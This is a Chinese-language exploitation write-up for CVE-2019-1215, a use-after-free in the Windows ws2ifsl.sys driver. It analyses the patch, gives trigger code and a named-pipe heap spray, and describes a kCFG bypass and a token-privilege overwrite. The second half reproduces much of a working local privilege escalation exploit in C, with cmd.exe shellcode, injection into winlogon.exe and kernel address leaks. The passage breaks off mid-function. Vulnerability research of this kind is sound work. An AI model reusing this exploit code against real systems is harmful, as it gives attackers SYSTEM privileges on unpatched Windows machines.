CVE-2019-1215:Windows 驱动 ws2ifsl.sys UAF 漏洞分析和利用研究

  • A+
所属分类:逆向工程

CVE-2019-1215:Windows 驱动 ws2ifsl.sys UAF 漏洞分析和利用研究

CVE-2019-1215:Windows 驱动 ws2ifsl.sys UAF 漏洞分析和利用研究
0x01  漏洞介绍

本文分析ws2ifsl.sys中UAF漏洞的最新补丁(CVE-2019-1215),该漏洞可用于本地特权升级。该漏洞存在于Windows 7,Windows 8,Windows 10,Windows 2008,Windows 2012和Windows 2019中。它已于2019年9月10日进行了修补。有关此问题的更多信息,请参见  此处。

这篇文章描述了Windows 10 19H1(1903)x64上的漏洞根本原因分析和利用。该漏洞利用程序演示了如何在此系统上绕过kASLR,kCFG和SMEP。

CVE-2019-1215:Windows 驱动 ws2ifsl.sys UAF 漏洞分析和利用研究
0x02  ws2ifsl基础

为了更好地理解此分析,我们必须介绍一些有关易受攻击的驱动程序的背景信息。没有有关此驱动程序的公共文档,并且以下大多数信息都是反向工程。ws2ifsl组件是与winsocket相关的驱动程序。

驱动程序实现两个对象:

· 过程对象

· 一个套接字对象

驱动程序实现了几个调度例程,用户可以调用这些例程。在  NtCreateFile 文件名设置为的情况下调用时  \Device\WS2IFSL\,将DispatchCreate 到达该函数  。该函数根据中的字符串进行分支  _FILE_FULL_EA_INFORMATION.EaName。如果是  NifsPvd,它将调用  CreateProcessFile,如果是  NifsSct ,它将调用  CreateSocketFile。

该函数  CreateSocketFile 和  CreateProcessFile 两者均创建内部对象,我们将其称为“ procData”和“ socketData”。创建后,这些对象保存在  _FILE_OBJECT.FsContext 文件对象的中,该文件对象是在分派例程中创建的。

文件对象是可以在用户模式下使用从返回的句柄访问的对象NtCreateFile。该句柄可用于执行DeviceIoControl或的调用WriteFile。这意味着'procData'和'sockedData'对象不会直接通过ObfReferenceObject 和  引用计数  ObfDereferenceObject,而是基础文件对象。

该驱动程序实现两个异步过程调用(APC)对象,称为“请求队列”和“取消队列”。APC是一种在另一个线程中异步执行功能的机制。由于可以在另一个线程中强制执行多个APC,因此内核实现了一个队列,该队列存储了所有要执行的APC。

“ procData”对象包含这两个APC对象,这些对象由CreateProcessFile in  InitializeRequestQueue 和   初始化  InitializeCancelQueue。APC对象由初始化  KeInitializeApc,并接收目标线程和函数作为参数。此外,还设置了处理器模式(内核或用户模式)以及运行例程。如果是ws2ifsl,则运行例程为  RequestRundownRoutine 和  CancelRundownRoutine ,并且处理器模式设置为usermode。这些精简例程用于清理,如果线程在APC有机会在线程内部执行之前死亡,则内核将调用这些例程。之所以会发生这种情况,是因为如果APC设置为可警告状态,则仅计划在线程内执行该APC。如果例如SleepEx在第二个参数设置为TRUE的情况下调用线程,则可以将其设置为可警告状态。

驱动程序还在中实现了一个读写分派例程DispatchReadWrite,该例程  只能由套接字对象访问,并调用  DoSocketReadWrite。除其他事项外,该函数负责通过调用SignalRequest 使用  nt!KeInsertQueueApc API函数的函数将APC元素添加到APC队列中  。

CVE-2019-1215:Windows 驱动 ws2ifsl.sys UAF 漏洞分析和利用研究
0x03  硬件通信

在许多情况下,驱动程序会创建符号链接,并且其名称可用作的文件名  CreateFileA,但是ws2ifsl并非如此,nt!IoCreateDevice仅在DeviceName设置为' Device WS2IFSL'的情况下进行调用  。但是,通过调用本机API  NtOpenFile ,可以到达create dispatch函数  ws2ifsl!DispatchCreate的目的。

以下代码可用于完成此操作:

 `HANDLE` `fileHandle = 0;``UNICODE_STRING deviceName;``RtlInitUnicodeString(&deviceName, (``PWSTR``)L``"\Device\WS2IFSL"``);``OBJECT_ATTRIBUTES object;``InitializeObjectAttributes(&object, &deviceName, 0, NULL, NULL);``IO_STATUS_BLOCK IoStatusBlock ;``NtOpenFile(&fileHandle, GENERIC_READ, &object, &IoStatusBlock, 0, 0);`

该函数  DispatchCreate 将检查打开调用的扩展属性,此属性只能通过NtCreateFile系统调用设置。

对于流程对象,扩展属性(ea)数据缓冲区必须包含属于当前流程的线程句柄,然后,具有设备的句柄,我们可以使用该句柄进行进一步的操作。

CVE-2019-1215:Windows 驱动 ws2ifsl.sys UAF 漏洞分析和利用研究
0x04  补丁分析

现在我们已经学习了背景知识,我们可以切换到补丁分析了。补丁程序分析通过比较ws2ifsl 10.0.18362.1的未修补版本与已修补的10.0.18362.356版本开始。

我们可以很快看到仅修补了几个函数:

· CreateProcessFile

· DispatchClose

· SignalCancel

· SignalRequest

· RequestRundownRoutine

· CancelRundownRoutine

在以下截图中可以看到:

CVE-2019-1215:Windows 驱动 ws2ifsl.sys UAF 漏洞分析和利用研究

补丁版本还包含一个新函数:

· DereferenceProcessContext

最明显的变化是所有更改的函数都包含对新函数  DereferenceProcessContext的新调用,在以下截图中可以看到此函数:

CVE-2019-1215:Windows 驱动 ws2ifsl.sys UAF 漏洞分析和利用研究

接下来要注意的是,“ procData”对象已由新成员扩展,现在使用引用计数。例如,在  CreateProcessFile负责所有初始化的中,此新成员设置为1。

 procData->tag = 'corP';

 *(_QWORD *)&procData->processId = PsGetCurrentProcessId();

 procData->field_100 = 0;


 procData->tag = 'corP';

 *(_QWORD *)&procData->processId = PsGetCurrentProcessId();

 procData->dword100 = 0;

 procData->referenceCounter = 1i64; // new

该函数  DereferenceProcessContext 还将检查引用计数,并对  nt!ExFreePoolWithTag 进行调用或仅返回。

该函数  DispatchClose是驱动程序的关闭调度例程,也已得到修补。新版本将call  nt!ExFreePoolWithTag 更改为  DereferenceProcessContext。这意味着有时(如果参考计数器不为零)不会释放“ procData”,而只会将其参考计数减一。

该修复程序会在  SignalRequest 调用之前使  nt!KeInsertQueueApc的referenceCounter递增。

问题在于DispatchClose ,即使一个请求已经在APC中排队,该函数仍可用于释放“ procData”对象。DispatchClose 每当关闭对文件句柄的最后一个引用时,都会调用该函数  (通过调用CloseHandle)。该修补程序修复了UAF漏洞,因为关机例程等可以访问已释放的数据。

该修补程序通过使用新的referenceCounter来确保仅在删除缓冲区的最后一个引用之后才释放缓冲区,如果是精简例程(包含引用),则在函数末尾删除  DereferenceProcessContext引用

并且在调用之前增加引用计数  nt!KeInsertQueueApc,如果发生错误(可能  nt!KeInsertQueueApc 会失败),该引用也将被删除(避免内存泄漏)。

CVE-2019-1215:Windows 驱动 ws2ifsl.sys UAF 漏洞分析和利用研究
0x05 漏洞触发

要触发该漏洞,所需要做的就是创建一个“ procData”句柄,一个“ socketData”句柄,将一些数据写入“ socketData”并关闭两个句柄,线程终止调用APC调试例程,该例程将对释放的数据起作用。

以下代码将触发该漏洞:


 in CreateProcessHandle:

  

     g_hThread1 = CreateThread(0, 0, ThreadMain1, 0, 0, 0);

     eaData->a1 = (void*)g_hThread1; // thread must be in current process

     eaData->a2 = (void*)0x2222222;  // fake APC Routine

     eaData->a3 = (void*)0x3333333;  // fake cancel Rundown Routine

     eaData->a4 = (void*)0x4444444;

     eaData->a5 = (void*)0x5555555;

      

     NTSTATUS status = NtCreateFile(&fileHandle, MAXIMUM_ALLOWED, &object, &IoStatusBlock, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, 0, eaBuffer, sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") + sizeof(PROC_DATA));

     DWORD supSuc = SuspendThread(g_hThread1);


 in main:

  

 HANDLE procHandle = CreateProcessHandle();

 HANDLE sockHandle = CreateSocketHandle(procHandle);

  

 char* writeBuffer = (char*) malloc(0x100);

      

 IO_STATUS_BLOCK io;

 LARGE_INTEGER byteOffset;

 byteOffset.HighPart = 0;

 byteOffset.LowPart = 0;

 byteOffset.QuadPart = 0;

 byteOffset.u.LowPart = 0;

 byteOffset.u.HighPart = 0;

 ULONG key = 0; 

  

 CloseHandle(procHandle);

  

 NTSTATUS ret = NtWriteFile(sockHandle, 0, 0, 0, &io, writeBuffer, 0x100, &byteOffset, &key);

当在free 在DispatchClose 和RequestRundownRoutine处有断点时,我们可以验证此行为 :

 Breakpoint 2 hit

 ws2ifsl!DispatchClose+0x7d:

 fffff806`1b8e71cd e8ceeef3fb      call    nt!ExFreePool (fffff806`178260a0)

 1: kd> db rcx

 ffffae0d`ceafbc70  50 72 6f 63 00 00 00 00-8c 07 00 00 00 00 00 00  Proc............

 1: kd> g

 Breakpoint 0 hit

 ws2ifsl!RequestRundownRoutine:

 fffff806`1b8e12d0 48895c2408      mov     qword ptr [rsp+8],rbx

 0: kd> db rcx-30

 ffffae0d`ceafbc70  50 72 6f 63 00 00 00 00-8c 07 00 00 00 00 00 00  Proc............

因为'procData'对象已被释放,所以例程将对释放的数据起作用,在大多数情况下,不会崩溃,因为未重新分配数据块。

CVE-2019-1215:Windows 驱动 ws2ifsl.sys UAF 漏洞分析和利用研究
0x06  堆喷分析

在我们知道如何触发错误之后,我们可以切换到漏洞利用了,第一步是回收释放的分配。

首先,需要知道缓冲区的大小和分配池。

在要释放的缓冲区上使用pool命令,我们可以看到它分配在Nonpaged池上,大小为0x120字节。

 1: kd> !pool ffff8b08905e9910

 Pool page ffff8b08905e9910 region is Nonpaged pool


 *ffff8b08905e9900 size:  120 previous size:    0  (Allocated) *Ws2P Process: ffff8b08a32e3080

         Owning component : Unknown (update pooltag.txt)

可以通过查看ws2ifsl!CreateProcessFile中的缓冲区分配来验证它:

 PAGE:00000001C00079ED mov     edx, 108h       ; size

 PAGE:00000001C00079F2 mov     ecx, 200h       ; PoolType

 PAGE:00000001C00079F7 mov     r8d, 'P2sW'     ; Tag

 PAGE:00000001C00079FD call    cs:__imp_ExAllocatePoolWithQuotaTag

在Nonpaged池上执行任意大小的受控分配的可靠方法是使用命名管道。

以下代码可用于为多个0x120字节的缓冲区分配用户控制的数据:

 int doHeapSpray()

 {

     for (size_t i = 0; i < 0x5000; i++)

     {

         HANDLE readPipe;

         HANDLE writePipe;

         DWORD resultLength;

         UCHAR payload[0x120 - 0x48];

         RtlFillMemory(payload, 0x120 - 0x48, 0x24);

  

         BOOL res = CreatePipe(&readPipe, &writePipe, NULL, sizeof(payload));

  

         res = WriteFile(writePipe, payload, sizeof(payload), &resultLength, NULL);

     }  

     return 0;

 }

如果我们将此堆喷射合并到触发该漏洞的代码中,则会在  nt!KiInsertQueueApc内部获得一个错误检查,崩溃是由于对操作的安全检查而发生的。

 .text:00000001400A58F6 mov     rax, [rdx]

 .text:00000001400A58F9 cmp     [rax+_LIST_ENTRY.Blink], rdx

 .text:00000001400A58FD jnz     fail_fast


 .text:00000001401DC2EA fail_fast:                              ; CODE XREF: KiInsertQueueApc+53↑j

 .text:00000001401DC2EA                                         ; KiInsertQueueApc+95↑j ...

 .text:00000001401DC2EA                 mov     ecx, 3

 .text:00000001401DC2EF                 int     29h             ; Win8: RtlFailFast(ecx)

错误检查恰好在int 29指令处进行,在崩溃时检查寄存器时,我们可以看到RAX寄存器指向我们受控的用户数据。

rax=ffff8b08905e82d0 rbx=0000000000000000 rcx=0000000000000003

 rdx=ffff8b08a39c3128 rsi=0000000000000000 rdi=0000000000000000

 rip=fffff8057489a2ef rsp=ffffde8268bfd4c8 rbp=ffffde8268bfd599

  r8=ffff8b08a39c3118  r9=fffff80574d87490 r10=fffff80574d87490

 r11=0000000000000000 r12=0000000000000000 r13=0000000000000000

 r14=0000000000000000 r15=0000000000000000

  

 0: kd> dq ffff8b08905e82d0

 ffff8b08`905e82d0  24242424`24242424 24242424`24242424

 ffff8b08`905e82e0  24242424`24242424 24242424`24242424

 ffff8b08`905e82f0  24242424`24242424 24242424`24242424

 ffff8b08`905e8300  24242424`24242424 24242424`24242424

 ffff8b08`905e8310  24242424`24242424 24242424`24242424

 ffff8b08`905e8320  24242424`24242424 24242424`24242424

 ffff8b08`905e8330  24242424`24242424 24242424`24242424

 ffff8b08`905e8340  24242424`24242424 24242424`24242424

导致崩溃的调用堆栈如下:

 0: kd> k

  # Child-SP          RetAddr           Call Site

 00 ffffb780`3ac7e868 fffff804`334a90c2 nt!DbgBreakPointWithStatus

 01 ffffb780`3ac7e870 fffff804`334a87b2 nt!KiBugCheckDebugBreak+0x12

 02 ffffb780`3ac7e8d0 fffff804`333c0dc7 nt!KeBugCheck2+0x952

 03 ffffb780`3ac7efd0 fffff804`333d2ae9 nt!KeBugCheckEx+0x107

 04 ffffb780`3ac7f010 fffff804`333d2f10 nt!KiBugCheckDispatch+0x69

 05 ffffb780`3ac7f150 fffff804`333d12a5 nt!KiFastFailDispatch+0xd0

 06 ffffb780`3ac7f330 fffff804`333dd2ef nt!KiRaiseSecurityCheckFailure+0x325

 07 ffffb780`3ac7f4c8 fffff804`332cb84f nt!KiInsertQueueApc+0x136a87

 08 ffffb780`3ac7f4d0 fffff804`3323ec58 nt!KiSchedulerApc+0x22f

 09 ffffb780`3ac7f600 fffff804`333c5002 nt!KiDeliverApc+0x2e8

 0a ffffb780`3ac7f6c0 fffff804`33804258 nt!KiApcInterrupt+0x2f2

 0b ffffb780`3ac7f850 fffff804`333c867a nt!PspUserThreadStartup+0x48

 0c ffffb780`3ac7f940 fffff804`333c85e0 nt!KiStartUserThread+0x2a

 0d ffffb780`3ac7fa80 00007ff8`ed3ace50 nt!KiStartUserThreadReturn

 0e 0000009e`93bffda8 00000000`00000000 ntdll!RtlUserThreadStart

由于主线程结束,因此触发了错误检查。发生这种情况的原因是因为损坏的APC仍在队列中,并且取消链接操作对损坏的数据起作用,因为前向和后向指针已损坏并且没有指向有效的链接列表,所以安全取消链接会检测到此损坏和错误检查。

CVE-2019-1215:Windows 驱动 ws2ifsl.sys UAF 漏洞分析和利用研究
0x07  KeRundownApcQueues

需要更改使用释放的APC元素的代码,以将其转变为有价值的东西。

触发漏洞并覆盖旧的“ procData”后,需要退出APC排队的线程。如果完成,内核将调用函数nt!KeRundownApcQueues,该函数会在  nt!KiFlushQueueApc内部进行bug检查,因为它会访问损坏的数据。

但是,这一次我们可以控制缓冲区的内容,并且可以避免安全异常,因为链接列表的有效指针是使用指向“ kthread”内部的值进行检查的。我们可以使用对带有SystemHandleInformation的NtQuerySystemInformation的调用来泄漏“ kthread”的地址,如果使用“ kthread”地址制作回收的“ procData”,则可以避免错误检查,  在nt!KeRundownApcQueues 函数的“ procData”对象内执行用户控制的函数指针。

CVE-2019-1215:Windows 驱动 ws2ifsl.sys UAF 漏洞分析和利用研究
0x08  绕过kCFG

在控制了要执行的函数指针之后,我们克服了一些障碍。对于这种利用,KASLR并不是问题,因为可能泄漏ntoskrnl基址,可以通过NtQuerySystemInformation / SystemModuleInformation泄漏所有已加载模块的基地址。

但是,APC函数指针调用由Microsoft的称为内核控制流防护的CFI实现保护,如果我们尝试调用任何随机的面向返回编程(ROP)的gadget,则内核将通过错误检查来解决此问题。

幸运的是,从CFG的角度来看,函数序言都是有效的分支目标,因此我们知道可以不停地调用什么,当调用函数指针  nt!KeRundownApcQueues时,第一个参数(rcx)指向'procData'缓冲区,第二个参数(rdx)为零。

我们可以使用的另一种可能性是通过调用本机函数来调用APC函数指针NtTestAlert,使用NtTestAlert调用APC函数指针时,第一个参数(rcx)指向'procData'缓冲区,第二个参数(rdx)也指向它。

寻找函数,根据给定的约束条件,我们发现了一个函数对象  nt!SeSetAccessStateGenericMapping。

如下所示,  nt!SeSetAccessStateGenericMapping 可用于执行16字节的任意写入。

CVE-2019-1215:Windows 驱动 ws2ifsl.sys UAF 漏洞分析和利用研究

不幸的是,这16个字节的后半部分没有得到完全控制,但是前8个字节是基于堆喷射所提供的数据。

CVE-2019-1215:Windows 驱动 ws2ifsl.sys UAF 漏洞分析和利用研究
0x09 令牌覆盖

一旦有了任意写原语,就可以做很多事情。在旧的Windows版本上,有很多技术可以将任意写入转换为完整的内核读取写入原语。在Windows 10的最新版本中,这些技术已得到缓解。一种仍在起作用的技术是令牌覆盖技术,它最初于2012年在Cesar Cerrudo的“ Easy local Windows Kernel Exploitation ”中发布,过去我们已经使用过这种技术。

思路是破坏位于  _SEP_TOKEN_PRIVILEGES 对象内部的  _TOKEN 对象。最简单的方法是在 启用所有位的情况下覆盖此结构的  Present 和  Enabled成员。这将使我们获得 SeDebugPrivilege 特权,这将使我们能够将代码注入诸如“ winlogon.exe”之类的高特权进程中。

我们需要触发两次漏洞才能可靠地用16个字节覆盖令牌结构。

CVE-2019-1215:Windows 驱动 ws2ifsl.sys UAF 漏洞分析和利用研究
0x10 获取系统特权

一旦我们被注入到系统过程中,利用就成功了,现在,我们可以运行“ cmd.exe”,以提供交互式shell,我们还避免了kCFG和SMEP的其他问题,因为我们不会在漏洞的上下文中执行ROP或执行任何ring 0代码。

CVE-2019-1215:Windows 驱动 ws2ifsl.sys UAF 漏洞分析和利用研究
0x11  漏洞利用

最终利用目标是Windows 10 19H1 x64,可以在这里找到  https://github.com/bluefrostsecurity/CVE-2019-1215,漏洞利用成功会弹出一个具有系统特权的新cmd.exe。

ExP完整代码:

 /*

 The exploit works on 19H1.

 It was tested with ntoskrnl version 10.0.18362.295

 */


 #include  #include  #include  #include  #include  #include  #include  

 #pragma comment(lib, "ntdll.lib")


 // run cmd.exe

 unsigned char shellcode[] =

 "xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50x52x51"

 "x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48x8bx52"

 "x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9x48x31xc0"

 "xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41x01xc1xe2xed"

 "x52x41x51x48x8bx52x20x8bx42x3cx48x01xd0x8bx80x88"

 "x00x00x00x48x85xc0x74x67x48x01xd0x50x8bx48x18x44"

 "x8bx40x20x49x01xd0xe3x56x48xffxc9x41x8bx34x88x48"

 "x01xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41x01xc1"

 "x38xe0x75xf1x4cx03x4cx24x08x45x39xd1x75xd8x58x44"

 "x8bx40x24x49x01xd0x66x41x8bx0cx48x44x8bx40x1cx49"

 "x01xd0x41x8bx04x88x48x01xd0x41x58x41x58x5ex59x5a"

 "x41x58x41x59x41x5ax48x83xecx20x41x52xffxe0x58x41"

 "x59x5ax48x8bx12xe9x57xffxffxffx5dx48xbax01x00x00"

 "x00x00x00x00x00x48x8dx8dx01x01x00x00x41xbax31x8b"

 "x6fx87xffxd5xbbxe0x1dx2ax0ax41xbaxa6x95xbdx9dxff"

 "xd5x48x83xc4x28x3cx06x7cx0ax80xfbxe0x75x05xbbx47"

 "x13x72x6fx6ax00x59x41x89xdaxffxd5x63x6dx64x2ex65"

 "x78x65x00";


 static const unsigned int shellcode_len = 0x1000;


 #define MAXIMUM_FILENAME_LENGTH 255 

 #define SystemModuleInformation  0xb

 #define SystemHandleInformation 0x10


 typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO

 {

  ULONG ProcessId;

  UCHAR ObjectTypeNumber;

  UCHAR Flags;

  USHORT Handle;

  void* Object;

  ACCESS_MASK GrantedAccess;

 } SYSTEM_HANDLE, * PSYSTEM_HANDLE;


 typedef struct _SYSTEM_HANDLE_INFORMATION

 {

  ULONG NumberOfHandles;

  SYSTEM_HANDLE Handels[1];

 } SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;


 typedef struct SYSTEM_MODULE {

  ULONG                Reserved1;

  ULONG                Reserved2;

 #ifdef _WIN64

  ULONG    Reserved3;

 #endif

  PVOID                ImageBaseAddress;

  ULONG                ImageSize;

  ULONG                Flags;

  WORD                 Id;

  WORD                 Rank;

  WORD                 w018;

  WORD                 NameOffset;

  CHAR                 Name[MAXIMUM_FILENAME_LENGTH];

 }SYSTEM_MODULE, * PSYSTEM_MODULE;


 typedef struct SYSTEM_MODULE_INFORMATION {

  ULONG                ModulesCount;

  SYSTEM_MODULE        Modules[1];

 } SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;


 // exploit specific type information 

 typedef struct _FILE_FULL_EA_INFORMATION {

  ULONG NextEntryOffset;  // +0x0

  UCHAR Flags;    // +4

  UCHAR EaNameLength;   // +5

  USHORT EaValueLength;  // +6

  CHAR EaName[1];    // +9

 } FILE_FULL_EA_INFORMATION, * PFILE_FULL_EA_INFORMATION;


 typedef struct _PROC_DATA {

  HANDLE apcthread;    // +0x0

  void* unknown1;    // +0x8

  void* unknown2;    // +0x10

  void* unknown3;    // +0x18

  void* unknown4;    // +0x20

 } PROC_DATA, * PPROC_DATA;


 typedef struct _SOCK_DATA {

  HANDLE unknown;    // +0x0

  HANDLE procDataHandle; // +0x8 

 } SOCK_DATA, * PSOCK_DATA;


 // undocumented apis definitions 


 typedef NTSTATUS(WINAPI* NtWriteFile_t)(HANDLE FileHandle,

  HANDLE Event,

  PIO_APC_ROUTINE ApcRoutine,

  PVOID ApcContext,

  PIO_STATUS_BLOCK IoStatusBlock,

  PVOID Buffer,

  ULONG Length,

  PLARGE_INTEGER ByteOffset,

  PULONG key);


 typedef NTSTATUS(WINAPI* NtTestAlert_t)(void);


 typedef NTSTATUS(WINAPI* RtlGetVersion_t)(PRTL_OSVERSIONINFOW lpVersionInformation);


 // resolved function pointers at runtime

 NtTestAlert_t g_NtTestAlert = 0;

 NtWriteFile_t g_NtWriteFile = 0;

 RtlGetVersion_t g_RtlGetVersion = 0;


 HANDLE g_Event1 = NULL;

 HANDLE g_Event2 = NULL;

 HANDLE g_Event3 = NULL;


 int g_done1 = 0;

 int g_done2 = 0;


 #define TOKEN_OFFSET 0x40   //_SEP_TOKEN_PRIVILEGES offset

 #define OFFSET_LINKEDLIST 0xA8  //kthread apc offset


 // generic helper function


 void InjectToWinlogon()

 {

  PROCESSENTRY32 entry;

  entry.dwSize = sizeof(PROCESSENTRY32);


  HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);


  int pid = -1;

  if (Process32First(snapshot, &entry))

  {

   while (Process32Next(snapshot, &entry))

   {   

    if (_strcmpi(entry.szExeFile, "winlogon.exe") == 0)

    {

     pid = entry.th32ProcessID;

     break;

    }

   }

  }


  CloseHandle(snapshot);


  if (pid < 0)

  {

   printf("Could not find processn");

   return;

  }


  HANDLE h = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

  if (!h)

  {

   printf("Could not open process: %x", GetLastError());

   return;

  }

  

  void* buffer = VirtualAllocEx(h, NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

  if (!buffer)

  {

   printf("[-] VirtualAllocEx failedn");

  }

  

  if (!buffer)

  {

   printf("[-] remote allocation failed");

   return;

  }


  if (!WriteProcessMemory(h, buffer, shellcode, sizeof(shellcode), 0))

  {

   printf("[-] WriteProcessMemory failed");

   return;

  }


  HANDLE hthread = CreateRemoteThread(h, 0, 0, (LPTHREAD_START_ROUTINE)buffer, 0, 0, 0);


  if (hthread == INVALID_HANDLE_VALUE)

  {

   printf("[-] CreateRemoteThread failed");

   return;

  }

 }


 HMODULE GetNOSModule()

 {

  HMODULE hKern = 0;

  hKern = LoadLibraryEx("ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);

  return hKern;

 }


 DWORD64 GetModuleAddr(const char* modName)

 {

  PSYSTEM_MODULE_INFORMATION buffer = (PSYSTEM_MODULE_INFORMATION)malloc(0x20);


  DWORD outBuffer = 0;

  NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, buffer, 0x20, &outBuffer);


  if (status == STATUS_INFO_LENGTH_MISMATCH)

  {

   free(buffer);

   buffer = (PSYSTEM_MODULE_INFORMATION)malloc(outBuffer);

   status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, buffer, outBuffer, &outBuffer);

  }


  if (!buffer)

  {

   printf("[-] NtQuerySystemInformation errorn");

   return 0;

  }


  for (unsigned int i = 0; i < buffer->ModulesCount; i++)

  {

   PVOID kernelImageBase = buffer->Modules[i].ImageBaseAddress;

   PCHAR kernelImage = (PCHAR)buffer->Modules[i].Name;  

   if (_stricmp(kernelImage, modName) == 0)

   {

    free(buffer);

    return (DWORD64)kernelImageBase;

   }

  }

  free(buffer);

  return 0;

 }



 DWORD64 GetKernelPointer(HANDLE handle, DWORD type)

 {

  PSYSTEM_HANDLE_INFORMATION buffer = (PSYSTEM_HANDLE_INFORMATION) malloc(0x20);


  DWORD outBuffer = 0;

  NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, 0x20, &outBuffer);


  if (status == STATUS_INFO_LENGTH_MISMATCH)

  {

   free(buffer);

   buffer = (PSYSTEM_HANDLE_INFORMATION) malloc(outBuffer);

   status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, outBuffer, &outBuffer);

  }


  if (!buffer)

  {

   printf("[-] NtQuerySystemInformation error n");

   return 0;

  }


  for (size_t i = 0; i < buffer->NumberOfHandles; i++)

  {

   DWORD objTypeNumber = buffer->Handels[i].ObjectTypeNumber;


   if (buffer->Handels[i].ProcessId == GetCurrentProcessId() && buffer->Handels[i].ObjectTypeNumber == type)

   {

    if (handle == (HANDLE)buffer->Handels[i].Handle)

    {

     //printf("%p %d %xn", buffer->Handels[i].Object, buffer->Handels[i].ObjectTypeNumber, buffer->Handels[i].Handle);

     DWORD64 object = (DWORD64)buffer->Handels[i].Object;

     free(buffer);

     return object;

    }

   }

  }

  printf("[-] handle not foundn");

  free(buffer);

  return 0;

 }


 DWORD64 GetGadgetAddr(const char* name)

 {

  DWORD64 base = GetModuleAddr("\SystemRoot\system32\ntoskrnl.exe");

  HMODULE mod = GetNOSModule();

  if (!mod)

  {

   printf("[-] leaking ntoskrnl versionn");

   return 0;

  }

  DWORD64 offset = (DWORD64)GetProcAddress(mod, name);


  DWORD64 returnValue = base + offset - (DWORD64)mod;

  FreeLibrary(mod);

  return returnValue;

 }


 /* 

  After the bug is triggerd the first thime, this threads gets notified and it will trigger its function pointer,

  which will call our gadget function and write the first 8 bytes.

 */

 DWORD WINAPI APCThread1(LPVOID lparam)

 {

  SetEvent(g_Event1);

  while (1)

  {

   if (g_done1)

   {

    printf("[+] triggering first APC executionn");

    

    g_NtTestAlert();  


    while (1)

    {

     Sleep(0x1000);

    }

   }

   else

   {

    Sleep(1);

   }

  }

  return 0;

 }


 /*

  After the bug is triggerd the second thime, this threads gets notified and it will trigger its function pointer again and write the second 8 bytes.

  After that the shellcode is injected into the system process.

 */

 DWORD WINAPI APCThread2(LPVOID lparam)

 {

  SetEvent(g_Event2);

  while (1)

  {

   if (g_done2)

   {

    printf("[+] triggering second APC executionn");

       

    g_NtTestAlert();


    InjectToWinlogon();

    SetEvent(g_Event3);


    while (1)

    {

     Sleep(0x1000);

    }

   }

   else

   {

    Sleep(1);

   }

  }

  return 0;

 }


 HANDLE CreateSocketHandle(HANDLE procHandle)

 {

  HANDLE fileHandle = 0;

  UNICODE_STRING deviceName;

  OBJECT_ATTRIBUTES object;

  IO_STATUS_BLOCK IoStatusBlock;


  RtlInitUnicodeString(&deviceName, (PWSTR)L"\Device\WS2IFSL\NifsSct");


  InitializeObjectAttributes(&object, &deviceName, 0, NULL, NULL);


  FILE_FULL_EA_INFORMATION* eaBuffer = (FILE_FULL_EA_INFORMATION*)malloc(sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsSct") + sizeof(SOCK_DATA));

  if (!eaBuffer)

  {

   printf("[-] malloc errorn");

   return fileHandle;

  }

  eaBuffer->NextEntryOffset = 0;

  eaBuffer->Flags = 0;

  eaBuffer->EaNameLength = sizeof("NifsSct") - 1;

  eaBuffer->EaValueLength = sizeof(SOCK_DATA);


  RtlCopyMemory(eaBuffer->EaName, "NifsSct", (SIZE_T)eaBuffer->EaNameLength + 1);


  SOCK_DATA * eaData = (SOCK_DATA*)(((char*)eaBuffer) + sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsSct") - 4);


  eaData->unknown = (void*) 0x242424224;

  eaData->procDataHandle = (void*) procHandle;


  NTSTATUS status = NtCreateFile(&fileHandle, GENERIC_WRITE, &object, &IoStatusBlock, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, 0, eaBuffer, sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsSct") + sizeof(PROC_DATA));

  if (status != STATUS_SUCCESS)

  {

   printf("[-] NtCreateFile error: %x n", status);

   free(eaBuffer);

   return fileHandle;

  }


  free(eaBuffer);

  return fileHandle;

 }


 HANDLE CreateProcessHandle(HANDLE hAPCThread)

 {

  HANDLE fileHandle = 0;

  UNICODE_STRING deviceName;

  OBJECT_ATTRIBUTES object;

  IO_STATUS_BLOCK IoStatusBlock;


  RtlInitUnicodeString(&deviceName, (PWSTR)L"\Device\WS2IFSL\NifsPvd");


  InitializeObjectAttributes(&object, &deviceName, 0, NULL, NULL);


  FILE_FULL_EA_INFORMATION* eaBuffer = (FILE_FULL_EA_INFORMATION*)malloc(sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") + sizeof(PROC_DATA));

  if (!eaBuffer)

  {

   printf("[-] malloc errorn");

   return fileHandle;

  }

  eaBuffer->NextEntryOffset = 0;

  eaBuffer->Flags = 0;

  eaBuffer->EaNameLength = sizeof("NifsPvd") - 1;

  eaBuffer->EaValueLength = sizeof(PROC_DATA);


  RtlCopyMemory(eaBuffer->EaName, "NifsPvd", (SIZE_T)eaBuffer->EaNameLength + 1);

  PROC_DATA * eaData = (PROC_DATA*)(((char*)eaBuffer) + sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") - 4);


  if (!hAPCThread)

  {

   printf("[-] error thread not foundn");

   free(eaBuffer);

   return 0;

  }


  eaData->apcthread = (void*) hAPCThread;  // thread must be in current process

  eaData->unknown1 = (void*) 0x2222222;  // APC Routine

  eaData->unknown2 = (void*) 0x3333333;  // cancel Rundown Routine

